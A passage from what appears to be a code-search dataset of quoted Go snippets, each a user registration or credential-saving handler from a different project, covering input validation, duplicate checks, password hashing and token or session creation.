http.StatusSeeOther)\n\t\t}\n\n\t\tuh.Temp.ExecuteTemplate(w, \"CheckEmail.html\", nil)\n\t\treturn\n\t}\n}","func Register(w http.ResponseWriter, r *http.Request) {\n\tt:= models.Users{}\n\n\terr := json.NewDecoder(r.Body).Decode(&t)\n\n\tif err != nil {\n\t\thttp.Error(w, \"Error en los datos recibidos \"+err.Error(), 400)\n\t\treturn\n\t}\n\tif len(t.Login) < 6 {\n\t\thttp.Error(w, \"Error en los datos recibidos, ingrese un login mayor a 5 digitos \", 400)\n\t\treturn\n\t}\n\tif len(t.Password) < 6 {\n\t\thttp.Error(w, \"Ingrese una contraseña mayor a 5 digitos \", 400)\n\t\treturn\n\t}\n\n\t_, found, _ := bd.CheckUser(t.Login)\n\tif found == true {\n\t\thttp.Error(w, \"Ya existe un usuario registrado con ese login\", 400)\n\t\treturn\n\t}\n\n\tif t.Id_role == 3 {\n\t\tcod := bd.CodFamiliar(t.Cod_familiar)\n\t\tif cod == false {\n\t\t\thttp.Error(w, \"Debe ingresar un codigo de familia correcto\", 400)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif t.Id_role == 1 {\n\t\thttp.Error(w, \"Usted no esta autorizado para crear este tipo de usuario\", 400)\n\t\treturn\n\t}\n\n\t_, status, err := bd.InsertRegister(t)\n\tif err != nil {\n\t\thttp.Error(w, \"Ocurrió un error al intentar realizar el registro de usuario \"+err.Error(), 400)\n\t\treturn\n\t}\n\n\tif status == false {\n\t\thttp.Error(w, \"No se ha logrado insertar el registro del usuario\", 400)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n}","func (up Password) Save(ex db.Execer) error {\n\tstr := `\n\tINSERT INTO user_passwords\n\t(user_id, password)\n\tVALUES\n\t(:user_id, :password)\n\t`\n\t_, err := ex.NamedExec(str, &up)\n\treturn err\n}","func signup(res http.ResponseWriter, req *http.Request, _ httprouter.Params) {\n\tvar user map[string]string\n\n\tdata, err := getBody(req)\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": \"Server Error\"})\n\t\treturn\n\t}\n\n\tif err := json.Unmarshal(data, &user); err != nil {\n\t\tlog.Println(\"signup:\", err)\n\t\twriteJSON(res, 500, jsMap{\"status\": \"Server Error\"})\n\t\treturn\n\t}\n\n\tusername := user[\"username\"]\n\tpassword := user[\"password\"]\n\tif isRegistered(username) {\n\t\twriteJSON(res, 400, jsMap{\"status\": \"Username taken\"})\n\t\treturn\n\t}\n\n\tv, err := srpEnv.Verifier([]byte(username), []byte(password))\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": err.Error()})\n\t\treturn\n\t}\n\n\tih, verif := v.Encode()\n\tresp, _, err := sendRequest(\"POST\", walletURI, \"\")\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": err.Error()})\n\t\treturn\n\t}\n\n\taddress := (*resp)[\"data\"].(string)\n\t_, err = db.Exec(`\n\t\tINSERT INTO accounts (ih, verifier, username, address)\n\t\tVALUES ($1, $2, $3, $4);`, ih, verif, username, address,\n\t)\n\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": err.Error()})\n\t} else {\n\t\twriteJSON(res, 201, jsMap{\"status\": \"OK\"})\n\t}\n}","func (env *Env) Register(w http.ResponseWriter, r *http.Request) {\n\tdata := &RegisterRequest{}\n\tif err := render.Bind(r, data); err != nil {\n\t\trender.Render(w, r, ErrInvalidRequest(err))\n\t\treturn\n\t}\n\n\tif !emailRegexp.MatchString(data.Email) {\n\t\trender.Render(w, r, ErrRender(errors.New(\"invalid email\")))\n\t\treturn\n\t}\n\n\tpassword := data.User.Password\n\t_, err := env.userRepository.CreateNewUser(r.Context(), data.User)\n\tif err != nil {\n\t\trender.Render(w, r, ErrRender(err))\n\t\treturn\n\t}\n\n\tdata.User.Password = password\n\ttokenString, err := loginLogic(r.Context(), env.userRepository, data.User)\n\tif err != nil {\n\t\trender.Render(w, r, ErrUnauthorized(err))\n\t\treturn\n\t}\n\n\trender.JSON(w, r, tokenString)\n}","func (c *RegistrationController) Register(w http.ResponseWriter, r *http.Request) {\n\n\t// parse the JSON coming from the client\n\tvar regRequest registrationRequest\n\tdecoder := json.NewDecoder(r.Body)\n\n\t// check if the parsing succeeded\n\tif err := decoder.Decode(&regRequest); err != nil {\n\t\tlog.Println(err)\n\t\tc.Error500(w, err, \"Error decoding JSON\")\n\t\treturn\n\t}\n\n\t// validate the data\n\tif err := regRequest.isValid(); err != nil {\n\t\tlog.Println(err)\n\t\tc.Error500(w, err, \"Invalid form data\")\n\t\treturn\n\t}\n\n\t// register the user\n\taccount := regRequest.Email // use the user's email as a unique account\n\tuser, err := models.RegisterUser(account, regRequest.Organisation,\n\t\tregRequest.Email, regRequest.Password, regRequest.First, regRequest.Last)\n\n\tif err != nil {\n\t\tlog.Printf(\"Error registering the user: %v\", err)\n\t\tc.Error500(w, err, \"Error registering the user\")\n\t\treturn\n\t} else {\n\t\tc.JSON(&user, w, r)\n\t}\n\n\t// Send email address confirmation link\n\tif err := sendVerificationEmail(user.ID); err != nil {\n\t\tlog.Printf(\"Error sending verification email: %v\", err)\n\t\tc.Error500(w, err, \"Error sending verification email\")\n\t}\n\n}","func Register(c *gin.Context) {\n\tdb := c.MustGet(\"db\").(*gorm.DB)\n\n\tvar input models.CreateUserInput\n\tif err := c.ShouldBindJSON(&input); err != nil {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"error\": err.Error(), \"message\": \"signUp\", \"status\": false})\n\t\treturn\n\t}\n\t//ensure unique\n\tvar user models.User\n\tif err := db.Where(\"email = ?\", input.Email).First(&user).Error; err == nil {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"error\": \"Email Taken!\", \"message\": \"signUp\", \"status\": false})\n\t\treturn\n\t}\n\t//create user\n\thashedPassword, _ := bcrypt.GenerateFromPassword([]byte(input.Password), bcrypt.DefaultCost)\n\thashPass := string(hashedPassword)\n\ttk := models.Token{Email: input.Email}\n\ttoken := jwt.NewWithClaims(jwt.GetSigningMethod(\"HS256\"), tk)\n\ttokenString, _ := token.SignedString([]byte(os.Getenv(\"token_password\")))\n\tuser2 := models.User{UserName: input.UserName, Email: input.Email, Password: hashPass, UserType: input.UserType, Token: tokenString}\n\tdb.Create(&user2)\n\tc.JSON(http.StatusOK, gin.H{\"user\": user2, \"message\": \"signUp\", \"status\": true})\n}","func (c *Credentials) Register(username, password string) {\n\tuser := EncryptUser(username, password)\n\tc.whitelist[user] = struct{}{}\n}","func (o *Command) SaveCredential(rw io.Writer, req io.Reader) command.Error {\n\trequest := &CredentialExt{}\n\n\terr := json.NewDecoder(req).Decode(&request)\n\tif err != nil {\n\t\tlogutil.LogInfo(logger, CommandName, SaveCredentialCommandMethod, \"request decode : \"+err.Error())\n\n\t\treturn command.NewValidationError(InvalidRequestErrorCode, fmt.Errorf(\"request decode : %w\", err))\n\t}\n\n\tif request.Name == \"\" {\n\t\tlogutil.LogDebug(logger, CommandName, SaveCredentialCommandMethod, errEmptyCredentialName)\n\t\treturn command.NewValidationError(SaveCredentialErrorCode, fmt.Errorf(errEmptyCredentialName))\n\t}\n\n\tvc, err := verifiable.ParseCredential([]byte(request.VerifiableCredential),\n\t\tverifiable.WithDisabledProofCheck(),\n\t\tverifiable.WithJSONLDDocumentLoader(o.documentLoader))\n\tif err != nil {\n\t\tlogutil.LogError(logger, CommandName, SaveCredentialCommandMethod, \"parse vc : \"+err.Error())\n\n\t\treturn command.NewValidationError(SaveCredentialErrorCode, fmt.Errorf(\"parse vc : %w\", err))\n\t}\n\n\terr = o.verifiableStore.SaveCredential(request.Name, vc)\n\tif err != nil {\n\t\tlogutil.LogError(logger, CommandName, SaveCredentialCommandMethod, \"save vc : \"+err.Error())\n\n\t\treturn command.NewValidationError(SaveCredentialErrorCode, fmt.Errorf(\"save vc : %w\", err))\n\t}\n\n\tcommand.WriteNillableResponse(rw, nil, logger)\n\n\tlogutil.LogDebug(logger, CommandName, SaveCredentialCommandMethod, \"success\")\n\n\treturn nil\n}","func RegisterUser(rw http.ResponseWriter, r *http.Request, enc encoding.Encoder) string {\n\tvar err error\n\tvar user customer.CustomerUser\n\tuser.Name = r.FormValue(\"name\")\n\tuser.Email = r.FormValue(\"email\")\n\tuser.CustomerID, _ = strconv.Atoi(r.FormValue(\"customerID\"))\n\t// user.Active, _ = strconv.ParseBool(r.FormValue(\"isActive\"))\n\tuser.Location.Id, _ = strconv.Atoi(r.FormValue(\"locationID\"))\n\tuser.Sudo, _ = strconv.ParseBool(r.FormValue(\"isSudo\"))\n\tuser.CustID, _ = strconv.Atoi(r.FormValue(\"cust_ID\"))\n\tuser.NotCustomer, _ = strconv.ParseBool(r.FormValue(\"notCustomer\"))\n\tuser.Current = user.NotCustomer\n\tuser.Active = true // forcing active status\n\n\tgenPass := r.FormValue(\"generatePass\")\n\tpass := r.FormValue(\"pass\")\n\taccountNumber := r.FormValue(\"account_ID\")\n\tblnGenPass := false\n\tif genPass == \"true\" {\n\t\tblnGenPass = true\n\t}\n\n\tif user.Email == \"\" || (pass == \"\" && !blnGenPass) {\n\t\terr = errors.New(\"Email and password are required.\")\n\t\tapierror.GenerateError(\"Email and password are required\", err, rw, r)\n\t\treturn \"\"\n\t}\n\n\tif blnGenPass {\n\t\tuser.Password = encryption.GeneratePassword()\n\t} else {\n\t\tuser.Password = pass\n\t}\n\n\tuser.OldCustomerID = user.CustomerID\n\tif accountNumber != \"\" { // Account Number is optional\n\t\t// fetch the customerID from the account number\n\t\tvar cust customer.Customer\n\t\terr = cust.GetCustomerIdsFromAccountNumber(accountNumber)\n\t\tif cust.Id == 0 || err != nil {\n\t\t\tif err == nil {\n\t\t\t\terr = errors.New(\"Account Number is not associated to any customer\")\n\t\t\t}\n\t\t\tapierror.GenerateError(\"Invalid Account Number:\", err, rw, r)\n\t\t\treturn \"\"\n\t\t}\n\t\tuser.OldCustomerID = cust.CustomerId\n\t\tuser.CustomerID = cust.Id\n\t\tuser.CustID = cust.Id\n\t}\n\n\t//check for existence of user\n\terr = user.FindByEmail()\n\tif err == nil {\n\t\tapierror.GenerateError(\"A user with that email address already exists.\", err, rw, r)\n\t\treturn \"\"\n\t}\n\terr = nil\n\n\tuser.Brands, err = brand.GetUserBrands(user.CustID)\n\tif err != nil {\n\t\tapierror.GenerateError(\"Trouble getting user brands.\", err, rw, r)\n\t\treturn \"\"\n\t}\n\tvar brandIds []int\n\tfor _, brand := range user.Brands {\n\t\tif brand.ID == 1 || brand.ID == 3 || brand.ID == 4 {\n\t\t\tbrandIds = append(brandIds, brand.ID)\n\t\t}\n\t}\n\n\tif err = user.Create(brandIds); err != nil {\n\t\tapierror.GenerateError(\"Trouble registering new customer user\", err, rw, r)\n\t\treturn \"\"\n\t}\n\n\t//email\n\tif err = user.SendRegistrationEmail(); err != nil {\n\t\tapierror.GenerateError(\"Trouble emailing new customer user\", err, rw, r)\n\t\treturn \"\"\n\t}\n\n\tif err = user.SendRegistrationRequestEmail(); err != nil {\n\t\tapierror.GenerateError(\"Trouble emailing webdevelopment regarding new customer user\", err, rw, r)\n\t\treturn \"\"\n\t}\n\n\treturn encoding.Must(enc.Encode(user))\n}","func (u *UserHandler) Register(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tvar registerReq domain.RegisterRequest\n\terr := json.NewDecoder(r.Body).Decode(&registerReq)\n\tif err != nil {\n\t\tlog.Warnf(\"Error decode user body when register : %s\", err)\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\terrors := u.Validator.Validate(registerReq)\n\tif errors != nil {\n\t\tlog.Warnf(\"Error validate register : %s\", err)\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tjson.NewEncoder(w).Encode(errors)\n\t\treturn\n\t}\n\tuser := domain.User{\n\t\tName: registerReq.Name,\n\t\tEmail: registerReq.Email,\n\t\tPassword: registerReq.Password,\n\t}\n\terr = u.UserSerivce.Register(r.Context(), &user)\n\tif err != nil {\n\t\tlog.Warnf(\"Error register user : %s\", err)\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\tresponse := SuccessResponse{\n\t\tMessage: \"Success Register User\",\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tjson.NewEncoder(w).Encode(response)\n\treturn\n}","func DoSignup(w http.ResponseWriter, r *http.Request) {\n\tr.ParseForm()\n\tvKey := make([]byte, 32)\n\tn, err := rand.Read(vKey)\n\tif n != len(vKey) || err != nil {\n\t\tlog.Println(\"Could not successfully read from the system CSPRNG.\")\n\t}\n\tvalidationKey := hex.EncodeToString(vKey)\n\tlog.Println(len(validationKey))\n\tstmt, _ := db.Prepare(\"insert into signup(username, email, password, validationKey) values(?,?,?,?)\")\n\t_, err = stmt.Exec(r.FormValue(\"username\"), r.FormValue(\"email\"), r.FormValue(\"password\"), validationKey)\n\tif err != nil {\n\t\t// if a validation requests already exists resend email\n\t\tif strings.Contains(err.Error(), \"1062\") {\n\t\t\tlog.Println(\"1062 error\")\n\t\t\tstmt, _ := db.Prepare(\"select validationKey from signup where username=?\")\n\t\t\tres := stmt.QueryRow(r.FormValue(\"username\"))\n\t\t\tres.Scan(&validationKey)\n\t\t\tsendVerification(r.FormValue(\"email\"), validationKey)\n\t\t\thttp.Redirect(w, r, r.URL.Host+\"/resendValidation\", 302)\n\t\t} else {\n\t\t\tlog.Print(\"Error creating signup record\")\n\t\t\tlog.Println(err)\n\t\t}\n\t} else {\n\t\tsendVerification(r.FormValue(\"email\"), validationKey)\n\t\thttp.Redirect(w, r, r.URL.Host+\"/validationSent\", 302)\n\t}\n}","func UserRegisterPost(w http.ResponseWriter, r *http.Request) {\n\t// Get session\n\tsess := session.Instance(r)\n\n\t// Prevent brute force login attempts by not hitting MySQL and pretending like it was invalid :-)\n\tif sess.Values[\"register_attempt\"] != nil && sess.Values[\"register_attempt\"].(int) >= 5 {\n\t\tlog.Println(\"Brute force register prevented\")\n\t\thttp.Redirect(w, r, \"/not_found\", http.StatusFound)\n\t\treturn\n\t}\n\n\tbody, readErr := ioutil.ReadAll(r.Body)\n\tif readErr != nil {\n\t\tlog.Println(readErr)\n\t\tReturnError(w, readErr)\n\t\treturn\n\t}\n\n\tvar regResp webpojo.UserCreateResp\n\tif len(body) == 0 {\n\t\tlog.Println(\"Empty json payload\")\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_400, constants.Msg_400}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t\treturn\n\t}\n\n\t//log.Println(\"r.Body\", string(body))\n\tregReq := webpojo.UserCreateReq{}\n\tjsonErr := json.Unmarshal(body, &regReq)\n\tif jsonErr != nil {\n\t\tlog.Println(jsonErr)\n\t\tReturnError(w, jsonErr)\n\t\treturn\n\t}\n\tlog.Println(regReq.Email)\n\n\t// Validate with required fields\n\tif validate, _ := validateRegisterInfo(r, &regReq, constants.DefaultRole); !validate {\n\t\tlog.Println(\"Invalid reg request! Missing field\")\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_400, constants.Msg_400}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t\treturn\n\t}\n\n\tpassword, errp := passhash.HashString(regReq.Password)\n\n\t// If password hashing failed\n\tif errp != nil {\n\t\tlog.Println(errp)\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_500, constants.Msg_500}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t\treturn\n\t}\n\n\t// Get database result\n\t_, err := model.UserByEmail(regReq.Email)\n\n\tif err == model.ErrNoResult { // If success (no user exists with that email)\n\t\tex := model.UserCreate(regReq.FirstName, regReq.LastName, regReq.Email, password)\n\t\t// Will only error if there is a problem with the query\n\t\tif ex != nil {\n\t\t\tlog.Println(ex)\n\t\t\tRecordRegisterAttempt(sess)\n\t\t\tsess.Save(r, w)\n\t\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_500, constants.Msg_500}\n\t\t\tbs, err := json.Marshal(regResp)\n\t\t\tif err != nil {\n\t\t\t\tReturnError(w, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Fprint(w, string(bs))\n\t\t} else {\n\t\t\tlog.Println(\"Account created successfully for: \" + regReq.Email)\n\t\t\tRecordRegisterAttempt(sess)\n\t\t\tsess.Save(r, w)\n\t\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_200, constants.Msg_200}\n\t\t\tbs, err := json.Marshal(regResp)\n\t\t\tif err != nil {\n\t\t\t\tReturnError(w, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Fprint(w, string(bs))\n\t\t}\n\t} else if err != nil { // Catch all other errors\n\t\tlog.Println(err)\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_500, constants.Msg_500}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t} else { // Else the user already exists\n\t\tlog.Println(\"User already existed!!!\")\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_400, constants.Msg_400}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t}\n}","func (u *UserService) Register(ctx context.Context, in *userpbgw.RegisterRequest) (*userpbgw.Response, error) {\n\tisExisted, err := user.CheckExistingEmail(in.Email)\n\tif err != nil {\n\t\treturn &userpbgw.Response{\n\t\t\tError: 2222,\n\t\t\tMessage: fmt.Sprintf(\"Error: %s\", err),\n\t\t}, nil\n\t}\n\tif isExisted {\n\t\treturn &userpbgw.Response{\n\t\t\tError: 2222,\n\t\t\tMessage: \"Given email is existing\",\n\t\t}, nil\n\t}\n\tnewuser := user.User{\n\t\tFullname: in.Fullname,\n\t\tEmail: in.Email,\n\t\tPassword: in.Password,\n\t}\n\terr = user.Insert(&newuser)\n\tif err != nil {\n\t\treturn &userpbgw.Response{\n\t\t\tError: 2222,\n\t\t\tMessage: \"Register Error\",\n\t\t}, nil\n\t}\n\treturn &userpbgw.Response{\n\t\tError: 0,\n\t\tMessage: \"Register Sucessfull\",\n\t}, nil\n}","func (h *Handler) Register(w http.ResponseWriter, r *http.Request) {\n\n\tvar d UserCreateRequest\n\tif err := json.NewDecoder(r.Body).Decode(&d); err != nil {\n\t\trender.BadRequest(w, r, \"invalid json string\")\n\t\treturn\n\t}\n\tuser, err := h.Client.User.Create().\n\t\tSetEmail(d.Email).\n\t\tSetName(d.Name).\n\t\tSetPassword(d.Password).\n\t\tSave(r.Context())\n\tif err != nil {\n\t\tfmt.Printf(\"%v\", err.Error())\n\t\trender.InternalServerError(w, r, \"Failed to register the user\")\n\t\treturn\n\t}\n\tfmt.Println(\"User registered successfully\")\n\trender.OK(w, r, user)\n}","func (model *registerRequest) validateRegisterRequest(w http.ResponseWriter, r *http.Request, ctx context.Context) error {\n\t// TODO: Fix this so that it does a case insensitive search\n\texistingUser, err := db.GetUserByUsername(ctx, model.Username)\n\tif err == nil || existingUser != nil {\n\t\tapi.DefaultError(w, r, http.StatusUnauthorized, \"The username is already in use. Please try again.\")\n\t\treturn fmt.Errorf(\"username was already in use\")\n\t}\n\n\t// TODO: Fix this so that it does a case insensitive search\n\texistingUser, err = db.GetUserByEmail(ctx, model.Email)\n\tif err == nil || existingUser != nil {\n\t\tapi.DefaultError(w, r, http.StatusUnauthorized, \"The email is already in use. Please try again.\")\n\t\treturn fmt.Errorf(\"email was already in use\")\n\t}\n\n\terr = validateUsername(w, r, model.Username)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = validatePassword(w, r, model.Password)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = validateNickname(w, r, model.Nickname)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Println(existingUser)\n\treturn nil\n}","func (h *auth) Register(c echo.Context) error {\n\t// Filter params\n\tvar params service.RegisterParams\n\tif err := c.Bind(&params); err != nil {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"Could not get user's params.\"))\n\t}\n\tparams.UserAgent = c.Request().UserAgent()\n\tparams.Session = currentSession(c)\n\n\tif params.Email == \"\" {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"No email provided.\"))\n\t}\n\tif params.RegistrationPassword == \"\" {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"No password provided.\"))\n\t}\n\tif params.PasswordNonce == \"\" {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"No nonce provided.\"))\n\t}\n\tif libsf.VersionLesser(libsf.APIVersion20200115, params.APIVersion) && params.PasswordCost <= 0 {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"No password cost provided.\"))\n\t}\n\n\tservice := service.NewUser(h.db, h.sessions, params.APIVersion)\n\tregister, err := service.Register(params)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn c.JSON(http.StatusOK, register)\n}","func doRegisterUser (w http.ResponseWriter, r *http.Request ) {\n\tusername := r.FormValue(\"username\")\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\tconfirm := r.FormValue(\"confirm\")\n\n\t// validate everything\n\tif len(username) < 6 {\n\t\thttp.Error(w, \"username too short\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif len(password) < 6 {\n\t\thttp.Error(w, \"password too short\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif password != confirm {\n\t\thttp.Error(w, \"password doesn't match\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t// go ahead and create the user\n\tpwBytes, bErr := bcrypt.GenerateFromPassword([]byte(password), 14)\n\tif bErr != nil {\n\t\thttp.Error(w, bErr.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\tpwHash := string(pwBytes)\n\t// registering a free account\n\tu, cErr := CreateNewUser(r, username, pwHash, email, 0, \"free\")\n\tif cErr != nil {\n\t\tif (cErr.Code == ERR_ACCOUNT_ALREADY_EXISTS) {\n\t\t\tlogger.StdLogger.LOG(logger.INFO, webber.GetCorrelationId(r), fmt.Sprintf(\"Attempt to create existing username: %s\", username), nil)\n\t\t\thttp.Error(w, cErr.Code, http.StatusBadRequest)\n\t\t} else {\n\t\t\tlogger.StdLogger.LOG(logger.ERROR, webber.GetCorrelationId(r), fmt.Sprintf(\"Error creating user: %s : %s\", username, cErr.Error()), nil)\n\t\t\thttp.Error(w, cErr.Code, http.StatusInternalServerError)\n\t\t}\n\t\treturn\n\t}\n\n\t// okay, everything worked, create a session\n\tsessionData := UserSessionData{Username:u.Username}\n\t_, err := webber.MakeSession(w, sessionData);\n\tif err != nil {\n\t\tlogger.StdLogger.LOG(logger.ERROR, \"\", fmt.Sprintf(\"unable to create session: %s\", err.Error()), nil)\n\t\thttp.Error(w, \"Please Log in\", http.StatusUnauthorized)\n\t}\n\twebber.ReturnJson(w,u)\n\treturn\t\t\n\n}","func HandleUserRegister(context *gin.Context) {\n\n\tuserAcc := context.PostForm(\"user_acc\")\n\tuserAvatar := context.PostForm(\"user_avatar\")\n\tuserNickName := context.PostForm(\"user_nick_name\")\n\tuserPassword := context.PostForm(\"user_password\")\n\tuserPhone := context.PostForm(\"user_phone\")\n\tuserEmail := context.PostForm(\"user_email\")\n\tuserGender := context.PostForm(\"user_gender\")\n\tuserSign := context.PostForm(\"user_sign\")\n\n\tuserType := context.PostForm(\"user_type\")\n\tuserTypeInt, _ := strconv.Atoi(userType)\n\n\tif userAcc == \"\" || userNickName == \"\" || userPassword == \"\"{\n\t\tcontext.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"status\": \"invalid\",\n\t\t\t\"code\": http.StatusBadRequest,\n\t\t\t\"msg\": \"user_acc, user_nick_name, user_password must not be none\",\n\t\t\t\"data\": \"\",\n\t\t})\n\t}\n\tuser := models.User{\n\t\tUserAcc:userAcc,\n\t\tUserAvatar:userAvatar,\n\t\tUserNickName:userNickName,\n\t\tUserPassword:userPassword,\n\t\tUserPhone:userPhone,\n\t\tUserEmail:userEmail,\n\t\tUserGender:userGender,\n\t\tUserSign:userSign,\n\t\tUserType:models.UserType(userTypeInt),\n\t}\n\tuserTry := models.User{}\n\tif db.DB.Where(\"user_acc=?\", userAcc).First(&userTry).RecordNotFound(){\n\t\t// user not found, create it\n\t\tdb.DB.Create(&user)\n\t\tuAddr := utils.GenAddr(user.ID)\n\t\tuser.UserAddr = \"usr\" + uAddr\n\n\t\tlog.Infof(\"FUCK GenAddr: %s gened: %s\", user.UserAddr, uAddr)\n\t\tdb.DB.Save(&user)\n\n\t\t// should return a token to user, as well as login\n\t\tclaims := make(map[string]interface{})\n\t\tclaims[\"id\"] = user.ID\n\t\tclaims[\"msg\"] = \"hiding egg\"\n\t\tclaims[\"user_addr\"] = user.UserAddr\n\t\ttoken, _ := utils.Encrypt(claims)\n\t\tlog.Infof(\"Request new user: %s, it is new.\", user)\n\t\tdata := map[string]interface{}{\"token\": token, \"id\": user.ID, \"user_addr\": user.UserAddr}\n\t\tcontext.JSON(200, gin.H{\n\t\t\t\"status\": \"success\",\n\t\t\t\"code\": http.StatusOK,\n\t\t\t\"msg\": \"user register succeed.\",\n\t\t\t\"data\": data,\n\t\t})\n\t}else{\n\t\tlog.Info(\"user exist.\")\n\t\tcontext.JSON(200, gin.H{\n\t\t\t\"status\": \"conflict\",\n\t\t\t\"code\": http.StatusConflict,\n\t\t\t\"msg\": \"user already exist.\",\n\t\t\t\"data\": nil,\n\t\t})\n\t}\n}","func (env *Env) RegisterUser(c *gin.Context) {\n\n\ttype registerRequest struct {\n\t\tUsername string `json:\"username\"`\n\t\tPassword string `json:\"password\"`\n\t\tDeviceID string `json:\"device_id\"`\n\t}\n\n\ttype registerResponse struct {\n\t\tAccessToken string `json:\"access_token\"`\n\t\tRefreshToken string `json:\"refresh_token\"`\n\t\tUser mysql.User `json:\"user\"`\n\t\tResetCode string `json:\"reset_code\"`\n\t}\n\n\t//decode request body\n\tjsonData, err := ioutil.ReadAll(c.Request.Body)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"handler\").WithError(err)\n\t\tc.AbortWithStatusJSON(http.StatusBadRequest, errs.RQST001)\n\t\treturn\n\t}\n\n\tvar request registerRequest\n\terr = json.Unmarshal(jsonData, &request)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"handler\").WithError(err)\n\t\tc.AbortWithStatusJSON(http.StatusBadRequest, errs.RQST001)\n\t\treturn\n\t}\n\n\tif request.Username == \"\" || request.Password == \"\" || request.DeviceID == \"\" {\n\t\tLog.WithField(\"module\", \"handler\").Error(\"Empty Fields in Request Body\")\n\t\tc.AbortWithStatusJSON(http.StatusBadRequest, errs.RQST002)\n\t\treturn\n\t}\n\n\tvar empty int64\n\tresult := env.db.Model(&mysql.User{}).Count(&empty)\n\tif result.Error != nil {\n\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\treturn\n\t}\n\n\tuser := mysql.User{}\n\tperms := mysql.Permissions{}\n\tdefaultGroup := mysql.UserGroup{}\n\n\tif empty == 0 {\n\n\t\tperms.Admin = true\n\t\tperms.CanEdit = true\n\n\t\tdefaultGroupPerms := mysql.Permissions{CanEdit: false, Admin: false}\n\n\t\tdefaultGroup.Name = \"default\"\n\n\t\tresult = env.db.Save(&defaultGroupPerms)\n\t\tif result.Error != nil {\n\t\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\t\treturn\n\t\t}\n\n\t\tdefaultGroup.Permissions = defaultGroupPerms\n\n\t\tresult = env.db.Save(&defaultGroup)\n\t\tif result.Error != nil {\n\t\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\t\treturn\n\t\t}\n\n\t} else {\n\t\tvar exists int64\n\t\t//Check if Username already exists in Database\n\t\tresult = env.db.Model(&user).Where(\"upper(username) = upper(?)\", user.Username).Count(&exists)\n\t\tif result.Error != nil {\n\t\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\t\treturn\n\t\t}\n\t\tLog.WithField(\"module\", \"handler\").Debug(\"Users found: \", exists)\n\n\t\tif exists != 0 {\n\t\t\tLog.WithField(\"module\", \"handler\").Error(\"Username already exists in Database\")\n\t\t\tc.AbortWithStatusJSON(http.StatusForbidden, errs.AUTH004)\n\t\t\treturn\n\t\t}\n\n\t\tperms.Admin = false\n\t\tperms.CanEdit = false\n\n\t\tdefaultGroup.Name = \"default\"\n\t\tresult = env.db.Model(&defaultGroup).Find(&defaultGroup)\n\t\tif result.Error 